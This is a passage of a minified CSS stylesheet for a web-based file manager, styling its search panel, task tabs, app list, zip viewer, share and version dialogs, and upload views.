div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.label{font-weight:400;font-size:1em;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple .aui_titleBar{bottom:0px;overflow:hidden;height:100px;margin-top:-120px;top:120px;border-radius:4px;}.copyright_dialog.dialog-simple .aui_close,.share_dialog.dialog-simple .aui_close,.check_version_dialog.dialog-simple .aui_close{opacity:0.6;filter:alpha(opacity=60);background:rgba(0,0,0,0.5);width:100px;height:100px;top:-50px;right:-50px;border-radius:50px;text-align:left;font-size:20px;z-index:100;padding:0;}.copyright_dialog.dialog-simple .aui_close:hover,.share_dialog.dialog-simple .aui_close:hover,.check_version_dialog.dialog-simple .aui_close:hover{opacity:0.6;filter:alpha(opacity=60);}.copyright_dialog.dialog-simple .aui_close:active,.share_dialog.dialog-simple .aui_close:active,.check_version_dialog.dialog-simple .aui_close:active{opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_close::before,.share_dialog.dialog-simple .aui_close::before,.check_version_dialog.dialog-simple .aui_close::before{padding-left:22px;line-height:140px;}.copyright_dialog .aui_footer,.share_dialog .aui_footer,.check_version_dialog .aui_footer{display:none;}.check_version_dialog .update_box{margin-top:0px;}.share_dialog .content_box .content_info .input_line .open_window,.pathinfo .input-group-btn .open_window{margin-right:-1px;border-radius:0px;}.copyright_dialog .copyright_dialog_content,.check_version_dialog .aui_content{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;width:auto;border-radius:6px;width:400px;-webkit-box-shadow:0px 10px 60px rgba(0,0,0,0.4);-moz-box-shadow:0px 10px 60px rgba(0,0,0,0.4);box-shadow:0px 10px 60px rgba(0,0,0,0.4);border:1px solid #ccc \9;padding-bottom:30px;background:#fff;background:rgba(255,255,255,0.9);}.copyright_dialog .copyright_dialog_content .title,.check_version_dialog .aui_content .title{width:100%;background:#6699cc url("../../../images/common/login.png");height:150px;padding-top:0px;border-top-left-radius:5px;border-top-right-radius:5px;}.copyright_dialog .copyright_dialog_content .title .logo,.check_version_dialog .aui_content .title .logo{text-align:center;font-size:35px;width:100%;padding-top:40px;color:#aaddff;-webkit-box-reflect:below -13px -webkit-gradient(linear,left top,left bottom,from(transparent),to(rgba(255,255,255,0.2)));background-image:-webkit-linear-gradient(92deg,#FFFFFF,#14A1FF);-webkit-background-clip:text;-webkit-text-fill-color:transparent;-webkit-animation:hue 6s 100 linear;}.copyright_dialog .copyright_dialog_content .title .logo i,.check_version_dialog .aui_content .title .logo i{color:#aaddff;font-weight:400;margin-right:10px;}.copyright_dialog .copyright_dialog_content .title .info,.check_version_dialog .aui_content .title .info{text-align:right;font-size:1.15em;color:#aaddff;padding-right:14px;padding-top:30px;}.copyright_dialog .copyright_dialog_content .content,.check_version_dialog .aui_content .content{padding:20px;}.copyright_dialog .copyright_dialog_content .content p,.check_version_dialog .aui_content .content p{text-indent:2em;color:#333;margin-bottom:30px;}.copyright_dialog .copyright_dialog_content .content a,.check_version_dialog .aui_content .content a{padding-right:5px;}.copyright_dialog .copyright_dialog_content .content div,.check_version_dialog .aui_content .content div{text-align:center;padding-bottom:5px;}.check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}.share_dialog .content_box{-webkit-box-shadow:0 5px 30px rgba(0,0,0,0.5);-moz-box-shadow:0 5px 30px rgba(0,0,0,0.5);box-shadow:0 5px 30px rgba(0,0,0,0.5);border-radius:5px;background:#fff;border:1px solid #ccc \9;width:auto;}.share_dialog .content_box .title{width:100%;color:#fff;height:100px;border-radius:5px 5px 0 0;background:#6699cc url('../../../images/common/login.png');}.share_dialog .content_box .titleinfo{text-align:center;font-size:35px;height:60px;overflow:hidden;line-height:80px;}.share_dialog .content_box .titleinfo i{color:#dff;font-size:30px;padding-right:10px;}.share_dialog .content_box .share_view_info{width:200px;margin:0 auto;margin-top:0px;padding:1px 5px;text-align:center;border-radius:17px;background:#117eaf;background:rgba(0,0,0,0.2);opacity:0.8;filter:alpha(opacity=80);}.share_dialog .content_box .content_info{padding:10px;padding-left:20px;}.share_dialog .content_box .content_info .input_line{margin:6px 0 8px 0;position:relative;}.share_dialog .content_box .content_info .input_line .input_title{display:block;width:80px;padding-top:4px;float:left;height:30px;padding-right:10px;text-align:right;}.share_dialog .content_box .content_info .input_line input[type="text"]{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:32px;line-height:30px;padding:0px 5px;width:150px;margin-right:10px;float:left;border-radius:3px;}.share_dialog .content_box .content_info .input_line input[type="text"]:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.share_dialog .content_box .content_info .input_line label{margin-top:8px;margin-right:10px;}.share_dialog .content_box .content_info .input_line label input{margin:0 5px 5px 0;}.share_dialog .content_box .content_info .input_line .desc{font-size:1em;color:#bbb;font-style:normal;padding-left:0px;}.share_dialog .content_box .content_info .input_line #share_name{width:215px;margin-right:10px;}.share_dialog .content_box .content_info .input_line .share_url{margin-right:0;border-radius:3px 0 0 3px;width:167px !important;height:33px;}.share_dialog .content_box .content_info .input_line .share_more{line-height:33px;}.share_dialog .content_box .content_info .input_line .input-group-btn{float:left;}.share_dialog .content_box .content_info .input_line .dropdown-toggle{margin-left:-5px;border-radius:0 3px 3px 0;}.share_dialog .content_box .content_info .input_line .open_window{margin-left:-12px;}.share_dialog .content_box .content_info .input_line .share_copy{width:60px;border-radius:0px;margin-left:-7px;}.share_dialog .content_box .content_info .input_line.select_path input[type="text"]{width:155px;}.share_dialog .content_box .content_info .input_line.select_path a.select_btn{margin-left:-14px;padding:5px 8px 5px;font-size:15px;border-top-left-radius:0px;border-bottom-left-radius:0px;}.share_dialog .content_box .content_info .share_others{margin:-8px 0 -8px 0;}.share_dialog .content_box .share_action{border-top:1px solid #eee;background:#f8f8f8;height:60px;border-radius:0 0 4px 4px;}.share_dialog .content_box .share_action button{float:right;margin:10px 20px 10px 0px;outline:0;}.share_dialog .content_box .share_action .share_remove_button,.share_dialog .content_box .share_action .remove_button{float:right;margin-top:18px;color:#888;margin-right:20px;font-size:14px;}.share_dialog .content_box .share_action .share_remove_button:hover,.share_dialog .content_box .share_action .remove_button:hover{color:#f30;}.fileList_icon .file{position:relative;}.fileList_icon .file .download{position:absolute;bottom:4px;margin-left:45px;opacity:0.5;filter:alpha(opacity=50);}.fileList_icon .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:30px;line-height:30px;width:30px;color:#aaa;}.fileList_list .file{position:relative;}.fileList_list .file .download{position:absolute;bottom:-2px;margin-left:45px;left:180px;z-index:99;opacity:0.5;filter:alpha(opacity=50);}.fileList_list .file .download .btn{font-size:1.25em;padding:0;display:block;border-radius:18px;height:28px;line-height:28px;width:28px;color:#aaa;}.pathSelectApi .aui_footer .aui_buttons{padding:15px;}.pathSelectApi .aui_footer .label{position:absolute;right:175px;margin-top:6px;opacity:0.7;filter:alpha(opacity=70);}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{opacity:0.7;filter:alpha(opacity=70);color:#08c !important;}body div.fileContiner .file.file_not_readable,body div.fileContiner .file.file_not_readable.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_readable,body .frame-main .frame-left .ztree li a.file_not_readable.file_not_writeable{opacity:0.4;filter:alpha(opacity=40);color:#a00 !important;}.url_link input{border:1px solid #ddd;background:#fff;line-height:30px;height:30px;width:300px;margin-bottom:15px;padding:0 5px;}.aui_content .ajaxError{-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;color:#f60;position:absolute;left:0px;right:0px;bottom:0px;top:40px;overflow:auto;padding:10px;}.pathinfo{font-size:1em;width:350px;min-height:300px;padding:20px 0 10px 0;color:#446;}.pathinfo .line{width:95%;margin:8px auto 8px auto;height:0px;border-bottom:1px solid #eee;}.pathinfo .download_url{padding:0px 5px;width:100%;line-height:32px;height:32px;}.pathinfo .p{margin-bottom:2px;}.pathinfo .p .icon{width:40px;height:40px;float:left;border:1px solid #f6f6f6;margin-left:10px;}.pathinfo .p input.info_chmod{padding:0px 10px;width:55px;color:#999;margin-right:10px;display:inline-block;height:25px;line-height:25px;}.pathinfo .p .title{width:80px;float:left;color:#888;text-align:right;}.pathinfo .p .content{float:left;width:240px;word-break:break-all;color:#666;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;font-size:1em;margin-left:15px;}.pathinfo .p .content.file_md5_loading{background:url("../../../images/common/loading.gif") 18px 5px no-repeat;}.pathinfo input{border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;line-height:28px;padding:2px 5px;width:150px;float:left;height:28px;border-radius:3px;}.pathinfo input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.pathinfo .download_url{margin-right:0;border-radius:3px 0 0 3px;}.file_drag_upload .aui_content{overflow-y:scroll;}.fileuploadinfo,.fileupload{color:#555;font-size:1em;}.fileuploadinfo{font-size:18px;color:#5499D9;margin-bottom:8px;border-bottom:1px solid #dde;padding-bottom:6px;}.fileuploadinfo em{font-size:1em;}.fileupload{padding-left:25px;}.fileupload 